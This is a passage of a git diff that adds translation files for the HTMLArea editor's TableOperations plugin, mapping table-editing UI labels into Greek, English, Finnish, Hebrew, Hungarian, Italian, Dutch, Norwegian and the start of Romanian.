+       "TO-cell-merge":                                  "Συγχώνευση κελιών",
+       "TO-cell-prop":                                   "Ιδιότητες κελιού",
+       "TO-cell-split":                                  "Διαίρεση κελιού",
+       "TO-col-delete":                                  "Διαγραφή στήλης",
+       "TO-col-insert-after":                            "Εισαγωγή στήλης μετά",
+       "TO-col-insert-before":                           "Εισαγωγή στήλης πριν",
+       "TO-col-split":                                   "Διαίρεση στήλης",
+       "TO-row-delete":                                  "Διαγραφή γραμμής",
+       "TO-row-insert-above":                            "Εισαγωγή γραμμής μετά",
+       "TO-row-insert-under":                            "Εισαγωγή γραμμής πριν",
+       "TO-row-prop":                                    "Ιδιότητες γραμμής",
+       "TO-row-split":                                   "Διαίρεση γραμμής",
+       "TO-table-prop":                                  "Ιδιότητες πίνακα",
+       "Table Properties":                               "Ιδιότητες πίνακα",
+       "Text align":                                     "Στοίχηση κειμένου",
+       "The bottom side only":                           "Η κάτω πλευρά μόνο",
+       "The left-hand side only":                        "Η αριστερή πλευρά μόνο",
+       "The right and left sides only":                  "Οι δεξιές και αριστερές πλευρές μόνο",
+       "The right-hand side only":                       "Η δεξιά πλευρά μόνο",
+       "The top and bottom sides only":                  "Οι πάνω και κάτω πλευρές μόνο",
+       "The top side only":                              "Η πάνω πλευρά μόνο",
+       "Top":                                            "Πάνω",   
+       "Unset color":                                    "Αναίρεση χρώματος",
+       "Vertical align":                                 "Κατακόρυφη στοίχηση",
+       "Width":                                          "Πλάτος",
+       "not-del-last-cell":                              "Δεν μπορεί να διαγραφεί το τελευταίο κελί σε μια γραμμή.",
+       "not-del-last-col":                               "Δεν μπορεί να διαγραφεί η τελευταία στήλη σε ένα πίνακα.",
+       "not-del-last-row":                               "Δεν μπορεί να διαγραφεί η τελευταία γραμμή σε ένα πίνακα.",
+       "percent":                                        "τοις εκατόν",
+       "pixels":                                         "pixels"
+};
diff --git a/admin/htmlarea/plugins/TableOperations/lang/en.js b/admin/htmlarea/plugins/TableOperations/lang/en.js
new file mode 100755 (executable)
index 0000000..7168e09
--- /dev/null
@@ -0,0 +1,90 @@
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+TableOperations.I18N = {
+       "Align":                                          "Align",
+       "All four sides":                                 "All four sides",
+       "Background":                                     "Background",
+       "Baseline":                                       "Baseline",
+       "Border":                                         "Border",
+       "Borders":                                        "Borders",
+       "Bottom":                                         "Bottom",
+       "CSS Style":                                      "Style [CSS]",
+       "Caption":                                        "Caption",
+       "Cell Properties":                                "Cell Properties",
+       "Center":                                         "Center",
+       "Char":                                           "Char",
+       "Collapsed borders":                              "Collapsed borders",
+       "Color":                                          "Color",
+       "Description":                                    "Description",
+       "FG Color":                                       "FG Color",
+       "Float":                                          "Float",
+       "Frames":                                         "Frames",
+       "Height":                                         "Height",
+       "How many columns would you like to merge?":      "How many columns would you like to merge?",
+       "How many rows would you like to merge?":         "How many rows would you like to merge?",
+       "Image URL":                                      "Image URL",
+       "Justify":                                        "Justify",
+       "Layout":                                         "Layout",
+       "Left":                                           "Left",
+       "Margin":                                         "Margin",
+       "Middle":                                         "Middle",
+       "No rules":                                       "No rules",
+       "No sides":                                       "No sides",
+       "None":                                           "None",
+       "Padding":                                        "Padding",
+       "Please click into some cell":                    "Please click into some cell",
+       "Right":                                          "Right",
+       "Row Properties":                                 "Row Properties",
+       "Rules will appear between all rows and columns": "Rules will appear between all rows and columns",
+       "Rules will appear between columns only":         "Rules will appear between columns only",
+       "Rules will appear between rows only":            "Rules will appear between rows only",
+       "Rules":                                          "Rules",
+       "Spacing and padding":                            "Spacing and padding",
+       "Spacing":                                        "Spacing",
+       "Summary":                                        "Summary",
+       "TO-cell-delete":                                 "Delete cell",
+       "TO-cell-insert-after":                           "Insert cell after",
+       "TO-cell-insert-before":                          "Insert cell before",
+       "TO-cell-merge":                                  "Merge cells",
+       "TO-cell-prop":                                   "Cell properties",
+       "TO-cell-split":                                  "Split cell",
+       "TO-col-delete":                                  "Delete column",
+       "TO-col-insert-after":                            "Insert column after",
+       "TO-col-insert-before":                           "Insert column before",
+       "TO-col-split":                                   "Split column",
+       "TO-row-delete":                                  "Delete row",
+       "TO-row-insert-above":                            "Insert row before",
+       "TO-row-insert-under":                            "Insert row after",
+       "TO-row-prop":                                    "Row properties",
+       "TO-row-split":                                   "Split row",
+       "TO-table-prop":                                  "Table properties",
+       "Table Properties":                               "Table Properties",
+       "Text align":                                     "Text align",
+       "The bottom side only":                           "The bottom side only",
+       "The left-hand side only":                        "The left-hand side only",
+       "The right and left sides only":                  "The right and left sides only",
+       "The right-hand side only":                       "The right-hand side only",
+       "The top and bottom sides only":                  "The top and bottom sides only",
+       "The top side only":                              "The top side only",
+       "Top":                                            "Top",        
+       "Unset color":                                    "Unset color",
+       "Vertical align":                                 "Vertical align",
+       "Width":                                          "Width",
+       "not-del-last-cell":                              "HTMLArea cowardly refuses to delete the last cell in row.",
+       "not-del-last-col":                               "HTMLArea cowardly refuses to delete the last column in table.",
+       "not-del-last-row":                               "HTMLArea cowardly refuses to delete the last row in table.",
+       "percent":                                        "percent",
+       "pixels":                                         "pixels"
+};
diff --git a/admin/htmlarea/plugins/TableOperations/lang/fi.js b/admin/htmlarea/plugins/TableOperations/lang/fi.js
new file mode 100755 (executable)
index 0000000..891f168
--- /dev/null
@@ -0,0 +1,66 @@
+TableOperations.I18N = {
+       "Align":                                          "Kohdistus",
+       "All four sides":                                 "Kaikki neljä sivua",
+       "Background":                                     "Tausta",
+       "Baseline":                                       "Takaraja",
+       "Border":                                         "Reuna",
+       "Borders":                                        "Reunat",
+       "Bottom":                                         "Alle",
+       "CSS Style":                                      "Tyyli [CSS]",
+       "Caption":                                        "Otsikko",
+       "Cell Properties":                                "Solun asetukset",
+       "Center":                                         "Keskelle",
+       "Char":                                           "Merkki",
+       "Collapsed borders":                              "Luhistetut reunat",
+       "Color":                                          "Väri",
+       "Description":                                    "Kuvaus",
+       "FG Color":                                       "FG Väri",
+       "Frames":                                         "Kehykset",
+       "Image URL":                                      "Kuvan osoite",
+       "Layout":                                         "Sommittelu",
+       "Left":                                           "Vasen",
+       "Margin":                                         "Marginaali",
+       "Middle":                                         "Keskelle",
+       "No rules":                                       "Ei viivoja",
+       "No sides":                                       "Ei sivuja",
+       "Padding":                                        "Palstantäyte",
+       "Right":                                          "Oikea",
+       "Row Properties":                                 "Rivin asetukset",
+       "Rules will appear between all rows and columns": "Viivat jokaisen rivin ja sarakkeen välillä",
+       "Rules will appear between columns only":         "Viivat ainoastaan sarakkeiden välillä",
+       "Rules will appear between rows only":            "Viivat ainoastaan rivien välillä",
+       "Rules":                                          "Viivat",
+       "Spacing":                                        "Palstatila",
+       "Summary":                                        "Yhteenveto",
+       "TO-cell-delete":                                 "Poista solu",
+       "TO-cell-insert-after":                           "Lisää solu perään",
+       "TO-cell-insert-before":                          "Lisää solu ennen",
+       "TO-cell-merge":                                  "Yhdistä solut",
+       "TO-cell-prop":                                   "Solun asetukset",
+       "TO-cell-split":                                  "Jaa solu",
+       "TO-col-delete":                                  "Poista sarake",
+       "TO-col-insert-after":                            "Lisää sarake perään",
+       "TO-col-insert-before":                           "Lisää sarake ennen",
+       "TO-col-split":                                   "Jaa sarake",
+       "TO-row-delete":                                  "Poista rivi",
+       "TO-row-insert-above":                            "Lisää rivi yläpuolelle",
+       "TO-row-insert-under":                            "Lisää rivi alapuolelle",
+       "TO-row-prop":                                    "Rivin asetukset",
+       "TO-row-split":                                   "Jaa rivi",
+       "TO-table-prop":                                  "Taulukon asetukset",
+       "Top":                                            "Ylös",       
+       "Table Properties":                               "Taulukon asetukset",
+       "The bottom side only":                           "Ainoastaan alapuolelle",
+       "The left-hand side only":                        "Ainoastaan vasenreuna",
+       "The right and left sides only":                  "Oikea- ja vasenreuna",
+       "The right-hand side only":                       "Ainoastaan oikeareuna",
+       "The top and bottom sides only":                  "Ylä- ja alapuoli.",
+       "The top side only":                              "Ainoastaan yläpuoli",
+       "Vertical align":                                 "Vertikaali kohdistus",
+       "Width":                                          "Leveys",
+       "not-del-last-cell":                              "Ei voida poistaa viimeistä solua rivistä.",
+       "not-del-last-col":                               "Ei voida poistaa viimeistä saraketta taulusta.",
+       "not-del-last-row":                               "Ei voida poistaa viimeistä riviä taulusta.",
+       "percent":                                        "prosenttia",
+       "pixels":                                         "pikseliä"
+};
diff --git a/admin/htmlarea/plugins/TableOperations/lang/he.js b/admin/htmlarea/plugins/TableOperations/lang/he.js
new file mode 100755 (executable)
index 0000000..b685c7b
--- /dev/null
@@ -0,0 +1,90 @@
+// I18N constants\r\r
+\r\r
+// LANG: "he", ENCODING: UTF-8\r\r
+// Author: Liron Newman, http://www.eesh.net, <plastish at ultinet dot org>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+//      (at least a valid email address)\r\r
+//\r\r
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+//      (if this is not possible, please include a comment\r\r
+//       that states what encoding is necessary.)\r\r
+\r\r
+TableOperations.I18N = {\r\r
+       "Align":                                          "ישור",\r\r
+       "All four sides":                                 "כל ארבעת הצדדים",\r\r
+       "Background":                                     "רקע",\r\r
+       "Baseline":                                       "קו בסיס",\r\r
+       "Border":                                         "גבול",\r\r
+       "Borders":                                        "גבולות",\r\r
+       "Bottom":                                         "תחתון",\r\r
+       "CSS Style":                                      "סגנון [CSS]",\r\r
+       "Caption":                                        "כותרת",\r\r
+       "Cell Properties":                                "מאפייני תא",\r\r
+       "Center":                                         "מרכז",\r\r
+       "Char":                                           "תו",\r\r
+       "Collapsed borders":                              "גבולות קורסים",\r\r
+       "Color":                                          "צבע",\r\r
+       "Description":                                    "תיאור",\r\r
+       "FG Color":                                       "צבע קידמה",\r\r
+       "Float":                                          "מרחף",\r\r
+       "Frames":                                         "מסגרות",\r\r
+       "Height":                                         "גובה",\r\r
+       "How many columns would you like to merge?":      "כמה טורים ברצונך למזג?",\r\r
+       "How many rows would you like to merge?":         "כמה שורות ברצונך למזג?",\r\r
+       "Image URL":                                      "URL התמונה",\r\r
+       "Justify":                                        "ישור",\r\r
+       "Layout":                                         "פריסה",\r\r
+       "Left":                                           "שמאל",\r\r
+       "Margin":                                         "שוליים",\r\r
+       "Middle":                                         "אמצע",\r\r
+       "No rules":                                       "ללא קווים",\r\r
+       "No sides":                                       "ללא צדדים",\r\r
+       "None":                                           "אין",\r\r
+       "Padding":                                        "ריווח בשוליים",\r\r
+       "Please click into some cell":                    "אנא לחץ על תא כלשהו",\r\r
+       "Right":                                          "ימין",\r\r
+       "Row Properties":                                 "מאפייני שורה",\r\r
+       "Rules will appear between all rows and columns": "קווים יופיעו בין כל השורות והטורים",\r\r
+       "Rules will appear between columns only":         "קווים יופיעו בין טורים בלבד",\r\r
+       "Rules will appear between rows only":            "קווים יופיעו בין שורות בלבד",\r\r
+       "Rules":                                          "קווים",\r\r
+       "Spacing and padding":                            "ריווח ושוליים",\r\r
+       "Spacing":                                        "ריווח",\r\r
+       "Summary":                                        "סיכום",\r\r
+       "TO-cell-delete":                                 "מחק תא",\r\r
+       "TO-cell-insert-after":                           "הכנס תא אחרי",\r\r
+       "TO-cell-insert-before":                          "הכנס תא לפני",\r\r
+       "TO-cell-merge":                                  "מזג תאים",\r\r
+       "TO-cell-prop":                                   "מאפייני תא",\r\r
+       "TO-cell-split":                                  "פצל תא",\r\r
+       "TO-col-delete":                                  "מחק טור",\r\r
+       "TO-col-insert-after":                            "הכנס טור אחרי",\r\r
+       "TO-col-insert-before":                           "הכנס טור לפני",\r\r
+       "TO-col-split":                                   "פצל טור",\r\r
+       "TO-row-delete":                                  "מחק שורה",\r\r
+       "TO-row-insert-above":                            "הכנס שורה לפני",\r\r
+       "TO-row-insert-under":                            "הכנס שורה אחרי",\r\r
+       "TO-row-prop":                                    "מאפייני שורה",\r\r
+       "TO-row-split":                                   "פצל שורה",\r\r
+       "TO-table-prop":                                  "מאפייני טבלה",\r\r
+       "Table Properties":                               "מאפייני טבלה",\r\r
+       "Text align":                                     "ישור טקסט",\r\r
+       "The bottom side only":                           "הצד התחתון בלבד",\r\r
+       "The left-hand side only":                        "הצד השמאלי בלבד",\r\r
+       "The right and left sides only":                  "הצדדים הימני והשמאלי בלבד",\r\r
+       "The right-hand side only":                       "הצד הימני בלבד",\r\r
+       "The top and bottom sides only":                  "הצדדים העליון והתחתון בלבד",\r\r
+       "The top side only":                              "הצד העליון בלבד",\r\r
+       "Top":                                            "עליון", \r\r
+       "Unset color":                                    "צבע לא נבחר",\r\r
+       "Vertical align":                                 "יישור אנכי",\r\r
+       "Width":                                          "רוחב",\r\r
+       "not-del-last-cell":                              "HTMLArea מסרב בפחדנות למחוק את התא האחרון בשורה.",\r\r
+       "not-del-last-col":                               "HTMLArea מסרב בפחדנות למחוק את הטור האחרון בטבלה.",\r\r
+       "not-del-last-row":                               "HTMLArea מסרב בפחדנות למחוק את השורה האחרונה בטבלה.",\r\r
+       "percent":                                        "אחוז",\r\r
+       "pixels":                                         "פיקסלים"\r\r
+};\r\r
diff --git a/admin/htmlarea/plugins/TableOperations/lang/hu.js b/admin/htmlarea/plugins/TableOperations/lang/hu.js
new file mode 100755 (executable)
index 0000000..828aec1
--- /dev/null
@@ -0,0 +1,63 @@
+// I18N constants
+
+// LANG: "hu", ENCODING: UTF-8
+// Author: Miklós Somogyi, <somogyine@vnet.hu>
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+HTMLArea.I18N = {
+
+       // the following should be the filename without .js extension
+       // it will be used for automatically load plugin language.
+       lang: "hu",
+
+       tooltips: {
+               bold:           "Félkövér",
+               italic:         "Dőlt",
+               underline:      "Aláhúzott",
+               strikethrough:  "Áthúzott",
+               subscript:      "Alsó index",
+               superscript:    "Felső index",
+               justifyleft:    "Balra zárt",
+               justifycenter:  "Középre zárt",
+               justifyright:   "Jobbra zárt",
+               justifyfull:    "Sorkizárt",
+               orderedlist:    "Számozott lista",
+               unorderedlist:  "Számozatlan lista",
+               outdent:        "Behúzás csökkentése",
+               indent:         "Behúzás növelése",
+               forecolor:      "Karakterszín",
+               hilitecolor:    "Háttérszín",
+               horizontalrule: "Elválasztó vonal",
+               createlink:     "Hiperhivatkozás beszúrása",
+               insertimage:    "Kép beszúrása",
+               inserttable:    "Táblázat beszúrása",
+               htmlmode:       "HTML forrás be/ki",
+               popupeditor:    "Szerkesztő külön ablakban",
+               about:          "Névjegy",
+               showhelp:       "Súgó",
+               textindicator:  "Aktuális stílus",
+               undo:           "Visszavonás",
+               redo:           "Újra végrehajtás",
+               cut:            "Kivágás",
+               copy:           "Másolás",
+               paste:          "Beillesztés"
+       },
+
+       buttons: {
+               "ok":           "Rendben",
+               "cancel":       "Mégsem"
+       },
+
+       msg: {
+               "Path":         "Hierarchia",
+               "TEXT_MODE":    "Forrás mód. Visszaváltás [<>] gomb"
+       }
+};
diff --git a/admin/htmlarea/plugins/TableOperations/lang/it.js b/admin/htmlarea/plugins/TableOperations/lang/it.js
new file mode 100755 (executable)
index 0000000..ccbdc94
--- /dev/null
@@ -0,0 +1,81 @@
+// I18N constants
+
+// LANG: "it", ENCODING: UTF-8 | ISO-8859-1
+// Author: Fabio Rotondo <fabio@rotondo.it>
+
+TableOperations.I18N = {
+       "Align":                                          "Allinea",
+       "All four sides":                                 "Tutti e quattro i lati",
+       "Background":                                     "Sfondo",
+       "Baseline":                                       "Allineamento",
+       "Border":                                         "Bordo",
+       "Borders":                                        "Bordi",
+       "Bottom":                                         "Basso",
+       "CSS Style":                                      "Stile [CSS]",
+       "Caption":                                        "Titolo",
+       "Cell Properties":                                "Proprietà della Cella",
+       "Center":                                         "Centra",
+       "Char":                                           "Carattere",
+       "Collapsed borders":                              "Bordi chiusi",
+       "Color":                                          "Colore",
+       "Description":                                    "Descrizione",
+       "FG Color":                                       "Colore Principale",
+       "Float":                                          "Fluttuante",
+       "Frames":                                         "Frames",
+       "Height":                                         "Altezza",
+       "How many columns would you like to merge?":      "Quante colonne vuoi unire?",
+       "How many rows would you like to merge?":         "Quante righe vuoi unire?",
+       "Image URL":                                      "URL dell'Immagine",
+       "Justify":                                        "Justifica",
+       "Layout":                                         "Layout",
+       "Left":                                           "Sinistra",
+       "Margin":                                         "Margine",
+       "Middle":                                         "Centrale",
+       "No rules":                                       "Nessun righello",
+       "No sides":                                       "Nessun lato",
+       "None":                                           "Nulla",
+       "Padding":                                        "Padding",
+       "Please click into some cell":                    "Per favore, clicca in una cella",
+       "Right":                                          "Destra",
+       "Row Properties":                                 "Proprietà della Riga",
+       "Rules will appear between all rows and columns": "Le linee appariranno tra tutte le righe e colonne",
+       "Rules will appear between columns only":         "Le linee appariranno solo tra le colonne",
+       "Rules will appear between rows only":            "Le linee appariranno solo tra le righe",
+       "Rules":                                          "Linee",
+       "Spacing and padding":                            "Spaziatura e Padding",
+       "Spacing":                                        "Spaziatura",
+       "Summary":                                        "Sommario",
+       "TO-cell-delete":                                 "Cancella cella",
+       "TO-cell-insert-after":                           "Inserisci cella dopo",
+       "TO-cell-insert-before":                          "Inserisci cella prima",
+       "TO-cell-merge":                                  "Unisci celle",
+       "TO-cell-prop":                                   "Proprietà della cella",
+       "TO-cell-split":                                  "Dividi cella",
+       "TO-col-delete":                                  "Cancella colonna",
+       "TO-col-insert-after":                            "Inserisci colonna dopo",
+       "TO-col-insert-before":                           "Inserisci colonna prima",
+       "TO-col-split":                                   "Dividi colonna",
+       "TO-row-delete":                                  "Cancella riga",
+       "TO-row-insert-above":                            "Inserisci riga prima",
+       "TO-row-insert-under":                            "Inserisci riga dopo",
+       "TO-row-prop":                                    "Proprietà della riga",
+       "TO-row-split":                                   "Dividi riga",
+       "TO-table-prop":                                  "Proprietà della Tabella",
+       "Table Properties":                               "Proprietà della Tabella",
+       "Text align":                                     "Allineamento del Testo",
+       "The bottom side only":                           "Solo la parte inferiore",
+       "The left-hand side only":                        "Solo la parte sinistra",
+       "The right and left sides only":                  "Solo destra e sinistra",
+       "The right-hand side only":                       "Solo la parte destra",
+       "The top and bottom sides only":                  "Solo sopra e sotto",
+       "The top side only":                              "Solo la parte sopra",
+       "Top":                                            "Alto",       
+       "Unset color":                                    "Rimuovi colore",
+       "Vertical align":                                 "Allineamento verticale",
+       "Width":                                          "Larghezza",
+       "not-del-last-cell":                              "HTMLArea si rifiuta codardamente di cancellare l'ultima cella nella riga.",
+       "not-del-last-col":                               "HTMLArea si rifiuta codardamente di cancellare l'ultima colonna nella tabella.",
+       "not-del-last-row":                               "HTMLArea si rifiuta codardamente di cancellare l'ultima riga nella tabella.",
+       "percent":                                        "percento",
+       "pixels":                                         "pixels"
+};
diff --git a/admin/htmlarea/plugins/TableOperations/lang/makefile.xml b/admin/htmlarea/plugins/TableOperations/lang/makefile.xml
new file mode 100755 (executable)
index 0000000..eed81b0
--- /dev/null
@@ -0,0 +1,3 @@
+<files>
+  <file name="*.js" />
+</files>
diff --git a/admin/htmlarea/plugins/TableOperations/lang/nl.js b/admin/htmlarea/plugins/TableOperations/lang/nl.js
new file mode 100755 (executable)
index 0000000..744ab16
--- /dev/null
@@ -0,0 +1,90 @@
+// I18N constants\r\r
+\r\r
+// LANG: "nl", ENCODING: UTF-8 | ISO-8859-1\r\r
+// Author: Michel Weegeerink (info@mmc-shop.nl), http://mmc-shop.nl\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+//      (at least a valid email address)\r\r
+//\r\r
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+//      (if this is not possible, please include a comment\r\r
+//       that states what encoding is necessary.)\r\r
+\r\r
+TableOperations.I18N = {\r\r
+       "Align":                                                                                        "Uitlijning",\r\r
+       "All four sides":                                                                       "Alle 4 zijden",\r\r
+       "Background":                                                                           "Achtergrond",\r\r
+       "Baseline":                                                                                     "Basis",\r\r
+       "Border":                                                                                       "Rand",\r\r
+       "Borders":                                                                                      "Randen",\r\r
+       "Bottom":                                                                                       "Onder",\r\r
+       "CSS Style":                                                                            "CSS Style",\r\r
+       "Caption":                                                                                      "Opmerking",\r\r
+       "Cell Properties":                                                                      "Celeigenschappen",\r\r
+       "Center":                                                                                       "Centreren",\r\r
+       "Char":                                                                                         "Karakter",\r\r
+       "Collapsed borders":                                                            "Geen randen",\r\r
+       "Color":                                                                                        "Kleur",\r\r
+       "Description":                                                                          "Omschrijving",\r\r
+       "FG Color":                                                                                     "Voorgrond",\r\r
+       "Float":                                                                                        "Zwevend",\r\r
+       "Frames":                                                                                       "Frames",\r\r
+       "Height":                                                                                       "Hoogte",\r\r
+       "How many columns would you like to merge?":            "Hoeveel kolommen wilt u samenvoegen?",\r\r
+       "How many rows would you like to merge?":                       "Hoeveel rijen wilt u samenvoegen?",\r\r
+       "Image URL":                                                                            "Afbeelding URL",\r\r
+       "Justify":                                                                                      "Uitvullen",\r\r
+       "Layout":                                                                                       "Opmaak",\r\r
+       "Left":                                                                                         "Links",\r\r
+       "Margin":                                                                                       "Marge",\r\r
+       "Middle":                                                                                       "Midden",\r\r
+       "No rules":                                                                                     "Geen regels",\r\r
+       "No sides":                                                                                     "Geen zijlijnen",\r\r
+       "None":                                                                                         "Geen",\r\r
+       "Padding":                                                                                      "Celmarge",\r\r
+       "Please click into some cell":                                          "Klik in een cel a.u.b.",\r\r
+       "Right":                                                                                        "Rechts",\r\r
+       "Row Properties":                                                                       "Rijeigenschappen",\r\r
+       "Rules will appear between all rows and columns":       "Regels verschijnen tussen alle rijen en kolommen",\r\r
+       "Rules will appear between columns only":                       "Regels verschijnen enkel tussen de kolommen",\r\r
+       "Rules will appear between rows only":                          "Regels verschijnen enkel tussen de rijen",\r\r
+       "Rules":                                                                                        "Regels",\r\r
+       "Spacing and padding":                                  "Celmarge en afstand tussen cellen",\r\r
+       "Spacing":                                                                                      "marge",\r\r
+       "Summary":                                                                                      "Overzicht",\r\r
+       "TO-cell-delete":                                                                       "Cel verwijderen",\r\r
+       "TO-cell-insert-after":                                                         "Voeg cel toe achter",\r\r
+       "TO-cell-insert-before":                                                        "Voeg cel toe voor",\r\r
+       "TO-cell-merge":                                                                        "Cellen samenvoegen",\r\r
+       "TO-cell-prop":                                                                         "Celeigenschappen",\r\r
+       "TO-cell-split":                                                                        "Cel splitsen",\r\r
+       "TO-col-delete":                                                                        "Kolom verwijderen",\r\r
+       "TO-col-insert-after":                                                          "Kolom invoegen achter",\r\r
+       "TO-col-insert-before":                                                         "Kolom invoegen voor",\r\r
+       "TO-col-split":                                                                         "Kolom splitsen",\r\r
+       "TO-row-delete":                                                                        "Rij verwijderen",\r\r
+       "TO-row-insert-above":                                                          "Rij invoegen boven",\r\r
+       "TO-row-insert-under":                                                          "Rij invoegen onder",\r\r
+       "TO-row-prop":                                                                          "Rij eigenschappen",\r\r
+       "TO-row-split":                                                                         "Rij splitsen",\r\r
+       "TO-table-prop":                                                                        "Tabel eigenschappen",\r\r
+       "Table Properties":                                                                     "Tabel eigenschappen",\r\r
+       "Text align":                                           "Text uitlijning",\r\r
+       "The bottom side only":                                                         "Enkel aan de onderkant",\r\r
+       "The left-hand side only":                                                      "Enkel aan de linkerkant",\r\r
+       "The right and left sides only":                                        "Enkel aan de linker en rechterkant",\r\r
+       "The right-hand side only":                                                     "Enkel aan de rechterkant",\r\r
+       "The top and bottom sides only":                                        "Enkel aan de bovenen onderkant",\r\r
+       "The top side only":                                                            "Enkel aan de bovenkant",\r\r
+       "Top":                                                                                          "Boven",\r\r
+       "Unset color":                                                                          "Wis kleur",\r\r
+       "Vertical align":                                                                       "Vertikale uitlijning",\r\r
+       "Width":                                                                                        "Breedte",\r\r
+       "not-del-last-cell":                                                            "HTMLArea kan de laatste cel in deze tabel niet verwijderen.",\r\r
+       "not-del-last-col":                                                                     "HTMLArea kan de laatste kolom in deze tabel niet verwijderen.",\r\r
+       "not-del-last-row":                                                                     "HTMLArea kan de laatste rij in deze tabel niet verwijderen.",\r\r
+       "percent":                                                                                      "procent",\r\r
+       "pixels":                                                                                       "pixels"\r\r
+};\r\r
diff --git a/admin/htmlarea/plugins/TableOperations/lang/no.js b/admin/htmlarea/plugins/TableOperations/lang/no.js
new file mode 100755 (executable)
index 0000000..4f692d5
--- /dev/null
@@ -0,0 +1,91 @@
+// I18N constants\r\r
+\r\r
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1\r\r
+// Author: Mihai Bazon, <mishoo@infoiasi.ro>\r\r
+// translated into Norwegia: ses@online.no  11.11.03\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+//      (at least a valid email address)\r\r
+//\r\r
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+//      (if this is not possible, please include a comment\r\r
+//       that states what encoding is necessary.)\r\r
+\r\r
+TableOperations.I18N = {\r\r
+       "Align":                                                "Juster",\r\r
+       "All four sides":                               "Alle fire sider",\r\r
+       "Background":                                   "Bakgrund",\r\r
+       "Baseline":                     "Grunnlinje",\r\r
+       "Border":                                               "Kantlinje",\r\r
+       "Borders":                                              "Kantlinjer",\r\r
+       "Bottom":                       "Bunn",\r\r
+       "CSS Style":                                    "Stil [CSS]",\r\r
+       "Caption":                                              "Overskrift",\r\r
+       "Cell Properties":              "Celleegenskaper",\r\r
+       "Center":                                               "Sentrer",\r\r
+       "Char":                         "Tegn",\r\r
+       "Collapsed borders":            "Fjern kantlinjer",\r\r
+       "Color":                                                "Farge",\r\r
+       "Description":                                  "Beskrivelse",\r\r
+       "FG Color":                                             "FG farge",\r\r
+       "Float":                        "Flytende",\r\r
+       "Frames":                                               "rammer",\r\r
+       "Height":                       "Høyde",\r\r
+       "How many columns would you like to merge?":      "Hvor mange kolonner vil du slå sammen?",\r\r
+       "How many rows would you like to merge?":         "Hvor mange rader vil du slå sammen?",\r\r
+       "Image URL":                                    "Bildets URL",\r\r
+       "Justify":                      "Juster",\r\r
+       "Layout":                                               "Layout",\r\r
+       "Left":                                                 "Venstre",\r\r
+       "Margin":                       "Marg",\r\r
+       "Middle":                       "Midten",\r\r
+       "No rules":                                             "Ingen linjal",\r\r
+       "No sides":                                             "Ingen sider",\r\r
+       "None":                         "Ingen",\r\r
+       "Padding":                                              "Luft",\r\r
+       "Please click into some cell":  "Klikk i en eller annen celle",\r\r
+       "Right":                                                "Høyre",\r\r
+       "Row Properties":               "Egenskaper for rad",\r\r
+       "Rules will appear between all rows and columns": "Linjer vil synes mellom alle rader og kolonner",\r\r
+       "Rules will appear between columns only":         "Linjer vil synes kun mellom kolonner",\r\r
+       "Rules will appear between rows only":            "Linjer vil synes kun mellom rader",\r\r
+       "Rules":                                                "Linjer",\r\r
+       "Spacing and padding":          "Luft",\r\r
+       "Spacing":                                              "Luft",\r\r
+       "Summary":                                              "Sammendrag",\r\r
+       "TO-cell-delete":                               "Slett celle",\r\r
+       "TO-cell-insert-after":                 "Sett inn celle etter",\r\r
+       "TO-cell-insert-before":                "Sett inn celle foran",\r\r
+       "TO-cell-merge":                                "Slå sammen celler",\r\r
+       "TO-cell-prop":                                 "Egenskaper for celle",\r\r
+       "TO-cell-split":                                "Del celle",\r\r
+       "TO-col-delete":                                "Slett kolonne",\r\r
+       "TO-col-insert-after":                  "Skyt inn kolonne etter",\r\r
+       "TO-col-insert-before":                 "Skyt inn kolonne før",\r\r
+       "TO-col-split":                                 "Del kolonne",\r\r
+       "TO-row-delete":                                "Slett rad",\r\r
+       "TO-row-insert-above":                  "Skyt inn rad foran",\r\r
+       "TO-row-insert-under":                  "Skyt inn rad etter",\r\r
+       "TO-row-prop":                                  "Egenskaper for rad",\r\r
+       "TO-row-split":                                 "Del rad",\r\r
+       "TO-table-prop":                                "Tabellegenskaper",\r\r
+       "Table Properties":                             "Tabellegenskaper",\r\r
+       "Text align":                   "Juster tekst",\r\r
+       "The bottom side only":                 "Bunnen kun",\r\r
+       "The left-hand side only":              "Venstresiden kun",\r\r
+       "The right and left sides only":        "Høyre- og venstresiden kun",\r\r
+       "The right-hand side only":                     "Høyresiden kun",\r\r
+       "The top and bottom sides only":        "The top and bottom sides only",\r\r
+       "The top side only":                            "Overkanten kun",\r\r
+       "Top":                          "Overkant",     \r\r
+       "Unset color":                  "Ikke-bestemt farge",\r\r
+       "Vertical align":               "Vertikal justering",\r\r
+       "Width":                                                "Bredde",\r\r
+       "not-del-last-cell":                    "HTMLArea nekter å slette siste cellen i tabellen.",\r\r
+       "not-del-last-col":                             "HTMLArea nekter å slette siste kolonnen i tabellen.",\r\r
+       "not-del-last-row":                             "HTMLArea nekter å slette siste raden i tabellen.",\r\r
+       "percent":                                              "prosent",\r\r
+       "pixels":                                               "billedpunkter"\r\r
+};\r\r
diff --git a/admin/htmlarea/plugins/TableOperations/lang/ro.js b/admin/htmlarea/plugins/TableOperations/lang/ro.js
new file mode 100755 (executable)
index 0000000..a008f21
--- /dev/null
@@ -0,0 +1,90 @@
+// I18N constants
+
+// LANG: "ro", ENCODING: UTF-8
